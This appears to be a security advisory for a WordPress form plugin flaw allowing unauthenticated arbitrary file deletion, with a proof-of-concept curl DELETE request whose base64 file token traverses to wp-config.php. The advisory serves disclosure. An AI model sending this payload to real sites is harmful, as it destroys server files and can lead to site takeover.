FormGent <= 1.9.2 – Unauthenticated Arbitrary File Deletion | CVE 2026-22460

Description

The plugin is vulnerable to arbitrary file deletion due to insufficient file path validation in a function. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

Note: the issue is only exploitable when the wp-content/uploads/formgent folder does not exist

Proof of Concept

This will only work when the wp-content/uploads/formgent does not exist

curl -i -X DELETE \
  'http://example.com/wp-json/formgent/responses/attachments' \
  -H 'Content-Type: application/json' \
  --data '{"file_token":"Li4vLi4vLi4vd3AtY29uZmlnLnBocA=="}'

This payload deletes `../../../wp-config.php` relative to the `wp-content/uploads/` directory. A successful exploit returns HTTP 204 No Content.